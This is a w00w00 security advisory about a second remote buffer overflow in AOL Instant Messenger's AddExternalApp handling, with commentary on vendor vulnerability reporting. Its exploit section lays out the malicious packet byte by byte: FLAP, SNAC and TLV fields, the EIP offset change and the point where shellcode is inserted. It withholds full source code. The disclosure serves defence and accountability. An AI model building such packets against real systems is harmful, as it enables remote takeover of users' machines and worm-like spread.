================================== AOL Instant Messenger Overflow #2 w00w00! http://www.w00w00.org ================================== PRELUDE AOL Instant Messenger is still vulnerable to a serious overflow, as discovered by John Hennessy while tweaking our example exploit, w00aimexp. A few simple modifications and it's the same thing, all over again. We'd like to raise attention to the fact that, despite the past press coverage on how difficult it was to communicate serious problems to AOL, nothing appears to have changed. John first contacted AOL the same way we did 4 months ago and got no response, so he passed the info on to us. We used the contact information we gleaned from the last escapade and informed AOL of the problem. They appear to have taken notice by filtering on the server-side, so we give them kudos; however, we were only able to get this fixed because we had the benefit of non-publicly available information about who to talk to. Had AOL taken heed from the first time this happened, John wouldn't have had to reach out to us in order to report this egregious bug. For that, we are disappointed, and once again insist that vendors NEED to make it easier to report vulnerabilities if they are at all interested in protecting their customers from less inhibited, malicious individuals. Therefore, we recommend users switch to an Instant Messaging provider that has well-defined venues for reporting vulnerabilities. DESCRIPTION This vulnerability is almost identical to the previous one and simply affects a different mechanism (AddExternalApp instead of AddGameRquest). AOL Instant Messenger (AIM) has a major security vulnerability in all stable (non-beta) versions dating back to 4.2. This vulnerability will allow remote penetration of the victim's system without any indication as to who performed the attack. There is no opportunity to refuse the request. This does not affect the non-Windows versions, because the non-Windows versions currently do not yet support the feature that this vulnerability occurs in. This particular vulnerability results from an overflow in the code that parses a request to run an external application. This works with any TLV type > 0x2711, because 0x2711 is filtered on the AIM server side from the first vulnerability we reported. It appears that we were correct in our original advisory when we stated, "This may be more generic and exploitable through other means, but AOL has not released enough information about their protocol for us to be able to determine that." NOTE: On the points of full disclosure and vendor reporting, w00w00 would like to encourage folks to read the IETF draft "Security Through Obscurity Considered Dangerous" by Steven M. Bellovin and Randy Bush of AT&T Research, available at: http://www.ietf.org/internet-drafts/draft-ymbk-obscurity-00.txt IMPLICATIONS This has the same implications as the original advisory, so I will include the paragraphs from the first advisory: AOL Instant Messenger (http://www.aim.com) has over 100 million users. The implications of this vulnerability are huge and leave the door wide open for a worm not unlike those that Microsoft Outlook, IIS, et al. have all had (Melissa, ILOVEYOU, CodeRed, Nimda, etc.). An exploit could download itself off the web, determine the buddies of the victim, and then attack them also. Given the general nature of social networks and how they are structured, we predict that it wouldn't take long for such an attack to propagate. The particular overflow described supra allows a payload can be several thousand bytes long, which leaves lots of room for creative shellcode. In addition, the shellcode can have null bytes in it. EXPLOIT The differences between this in the first one are: 1. Using TLV type > 0x2711 instead of 0x2711 2. Using AddExternalApp instead of AddGameRequest 3. The offset to EIP for this vulnerability is shifted down 200 bytes. Since the code is so similar and this is already filterede, we won't be releasing additional source code. FLAP header (6 bytes) [\x2a] '*' (magic number) [\x02] channel (data) [\x00\x11] seqnum number [\x07\x87] packet length (1927 bytes) SNAC header (10 bytes) [\x00\x04] SNAC family (message) [\x00\x06] SNAC type (outgoing message) [\x00\x00] SNAC flags (none) [\x00\x00\x00\x09] SNAC ID [\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie [\x00\x02] SNAC channel (data) [\x0c] victim screen name length [\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX] victim screen name Now a set of TLV data types. There is a base container, type 0x05, that contains everything else. Inside of this are several smaller containers, with each TLV type following immediately after the previous. If those are misaligned, you'll receive a "busted SNAC payload" error. [\x00\x05] TLV type (0x05) [\x07\x62] TLV length (1890 bytes) [\x00\x00] cookie marker [\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie Capability used to exploit this libfaim calls it (SAVESTOCKS): [\x09\x46\x13\x47\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53\x54\x00\x00] [\x00\x0a] TLV type (0x0a) [\x00\x02] TLV length (2 bytes) [\x00\x01] TLV data [\x00\x0f] TLV type (0x0f) [\x00\x00] TLV length (0) [\x00\x0e] TLV type (0x0e) [\x00\x02] TLV length (2 bytes) ["en"] TLV data (language) [\x00\x0d] TLV type (0x0d) [\x00\x08] TLV length (8 bytes) ["us-ascii"] TLV data (charset) [\x00\x0c] TLV type (0x0d) [\x00\x06] TLV length (6 bytes) ["w00w00"] TLV data (game's name?) [\x00\x03] TLV type (0x03) [\x00\x04] TLV length (4 bytes) [\x40\xa3\x1e\x4f] [\x00\x05] TLV type (0x05) [\x00\x02] TLV length (2 byte) [\x14\x46] [\x00\x07] TLV type (0x07) [\x00\x38] TLV length (56 bytes) ["aim:AddExternalApp?name=w00w00&url=http://www.w00w00.org"] [\x27\x12] TLV type (0x2712) [\xXX\xXX] TLV length (22 + length of shellcode) [\x00\x00\x02\x00\x05\x07\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53 \x54\x00\x00\x00\x0b\x00\x09 + shellcode starts here] PATCHES AOL is blocking this on the server side. Hopefully they'll also produce client side fixes. We'll have to wait and see how long it takes for someone to find another way around the filter. CREDIT w00w00 would like to thank John Hennessey for informing us of the problem after his attempts failed.